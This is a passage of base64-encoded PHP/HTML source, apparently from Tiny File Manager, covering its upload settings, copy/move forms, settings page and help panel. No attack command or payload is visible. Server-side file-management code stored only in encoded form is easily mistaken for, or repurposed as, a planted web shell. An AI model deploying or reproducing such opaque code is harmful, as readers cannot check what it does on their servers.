b25lJyk7ID8+CiAgICA8c2NyaXB0PgogICAgICAgIERyb3B6b25lLm9wdGlvbnMuZmlsZVVwbG9hZGVyID0gewogICAgICAgICAgICBjaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PiwKICAgICAgICAgICAgZm9yY2VDaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgcmV0cnlDaHVua3M6IHRydWUsCiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsCiAgICAgICAgICAgIHBhcmFsbGVsVXBsb2FkczogMSwKICAgICAgICAgICAgcGFyYWxsZWxDaHVua1VwbG9hZHM6IGZhbHNlLAogICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsCiAgICAgICAgICAgIG1heEZpbGVzaXplOiAiPD9waHAgZWNobyBNQVhfVVBMT0FEX1NJWkU7ID8+IiwKICAgICAgICAgICAgYWNjZXB0ZWRGaWxlcyA6ICI8P3BocCBlY2hvIGdldFVwbG9hZEV4dCgpID8+IiwKICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgdGhpcy5vbigic2VuZGluZyIsIGZ1bmN0aW9uIChmaWxlLCB4aHIsIGZvcm1EYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IF9wYXRoID0gKGZpbGUuZnVsbFBhdGgpID8gZmlsZS5mdWxsUGF0aCA6IGZpbGUubmFtZTsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZnVsbHBhdGgiKS52YWx1ZSA9IF9wYXRoOwogICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCdFcnJvcjogU2VydmVyIFRpbWVvdXQnKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pLm9uKCJzdWNjZXNzIiwgZnVuY3Rpb24gKHJlcykgewogICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpOwoKICAgICAgICAgICAgICAgICAgICBpZihfcmVzcG9uc2Uuc3RhdHVzID09ICJlcnJvciIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoX3Jlc3BvbnNlLmluZm8pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pLm9uKCJlcnJvciIsIGZ1bmN0aW9uKGZpbGUsIHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICA8L3NjcmlwdD4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY29weSBmb3JtIFBPU1QKaWYgKGlzc2V0KCRfUE9TVFsnY29weSddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRjb3B5X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydmaWxlJ10pID8gJF9QT1NUWydmaWxlJ10gOiBudWxsOwogICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj4KICAgICAgICAgICAgICAgIDxoNj48P3BocCBlY2hvIGxuZygnQ29weWluZycpID8+PC9oNj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbmlzaCIgdmFsdWU9IjEiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvcHlfZmlsZXMgYXMgJGNmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9IicgLiBmbV9lbmMoJGNmKSAuICciPicgLiBQSFBfRU9MOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdGaWxlcycpID8+PC9zdHJvbmc+OiA8Yj48P3BocCBlY2hvIGltcGxvZGUoJzwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjwvYj48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ1NvdXJjZUZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucF9jb3B5X3RvIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gRk1fUk9PVF9QQVRIID8+LzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb3B5X3RvIiBpZD0iaW5wX2NvcHlfdG8iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggY3VzdG9tLWNvbnRyb2wiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibW92ZSIgdmFsdWU9IjEiIGlkPSJqcy1tb3ZlLWZpbGVzIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiPjxsYWJlbCBmb3I9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yIj4gPD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjwvbGFiZWw+PC9wPgogICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPjwvYj7CoAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48L2J1dHRvbj4gCiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBjb3B5IGZvcm0KaWYgKGlzc2V0KCRfR0VUWydjb3B5J10pICYmICFpc3NldCgkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJGNvcHkgPSAkX0dFVFsnY29weSddOwogICAgJGNvcHkgPSBmbV9jbGVhbl9wYXRoKCRjb3B5KTsKICAgIGlmICgkY29weSA9PSAnJyB8fCAhZmlsZV9leGlzdHMoRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxwPjxiPkNvcHlpbmc8L2I+PC9wPgogICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgPHN0cm9uZz5Tb3VyY2UgcGF0aDo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSA/Pjxicj4KICAgICAgICAgICAgPHN0cm9uZz5EZXN0aW5hdGlvbiBmb2xkZXI6PC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/PgogICAgICAgIDwvcD4KICAgICAgICA8cD4KICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mY29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mZmluaXNoPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gQ29weTwvYT48L2I+IMKgCiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+JmZpbmlzaD0xJm1vdmU9MSI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiBNb3ZlPC9hPjwvYj4gwqAKICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iIGNsYXNzPSJ0ZXh0LWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiBDYW5jZWw8L2E+PC9iPgogICAgICAgIDwvcD4KICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PC9pPjwvcD4KICAgICAgICA8dWwgY2xhc3M9ImZvbGRlcnMgYnJlYWstd29yZCI+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQiPjwvaT4gLi48L2E+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+Ij48aSBjbGFzcz0iZmEgZmEtZm9sZGVyLW8iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbigkZikgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX0dFVFsnc2V0dGluZ3MnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0OwogICAgPz4KCiAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+CiAgICAgICAgICAgICAgICA8c3Bhbj48aSBjbGFzcz0iZmEgZmEtY29nIj48L2k+ICA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpPz48L2E+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ianMtc2V0dGluZ3MtZm9ybSIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZGF0YS10eXBlPSJhamF4IiBvbnN1Ym1pdD0icmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcykiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJzZXR0aW5ncyIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1sYW5ndWFnZSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnTGFuZ3VhZ2UnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IiBpZD0ianMtbGFuZ3VhZ2UiIG5hbWU9ImpzLWxhbmd1YWdlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdsb2JhbCAkbGFuZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgkbGFuZyA9PSAkbCkgPyAnc2VsZWN0ZWQnIDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsYW5nX2xpc3QgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nJGsnICIuZ2V0U2VsZWN0ZWQoJGspLiI+JHY8L29wdGlvbj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im10LTMgbWItMyByb3cgIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtZXJyb3ItcmVwb3J0IiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLWVycm9yLXJlcG9ydCIgbmFtZT0ianMtZXJyb3ItcmVwb3J0IiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkcmVwb3J0X2Vycm9ycyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLXNob3ctaGlkZGVuIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdTaG93SGlkZGVuRmlsZXMnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1zaG93LWhpZGRlbiIgbmFtZT0ianMtc2hvdy1oaWRkZW4iIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWhpZGUtY29scyIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnSGlkZUNvbHVtbnMnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1oaWRlLWNvbHMiIG5hbWU9ImpzLWhpZGUtY29scyIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJGhpZGVfQ29scyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLTMtMSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IHctMTAwIiBpZD0ianMtMy0wIiBuYW1lPSJqcy10aGVtZS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdsaWdodCcgPD9waHAgaWYoJHRoZW1lID09ICJsaWdodCIpe2VjaG8gInNlbGVjdGVkIjt9ID8+Pjw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYoJHRoZW1lID09ICJkYXJrIil7ZWNobyAic2VsZWN0ZWQiO30gPz4+PD9waHAgZWNobyBsbmcoJ2RhcmsnKSA/Pjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+IDxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKTsgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICBnbG9iYWwgJGNmZywgJGxhbmc7CiAgICA/PgoKICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIgZC1mbGV4IGp1c3RpZnktY29udGVudC1iZXR3ZWVuIj4KICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpPz48L2E+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxoMz48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImFwcC12LXRpdGxlIj4gVGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2gzPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+QXV0aG9yOiBQcmFzYXRoIE1hbmk8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPk1haWwgVXM6IDxhIGhyZWY9Im1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb20iPmNjcHByb2dyYW1tZXJzW2F0XWdtYWlsLmNvbTwvYT4gPC9wPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyL3dpa2kiIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtcXVlc3Rpb24tY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwIERvY3VtZW50cycpID8+IDwvYT4gPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlci9pc3N1ZXMiIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtYnVnIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmKCFGTV9SRUFET05MWSkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpOyI+PGkgY2xhc3M9ImZhIGZhLWxvY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJykgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAg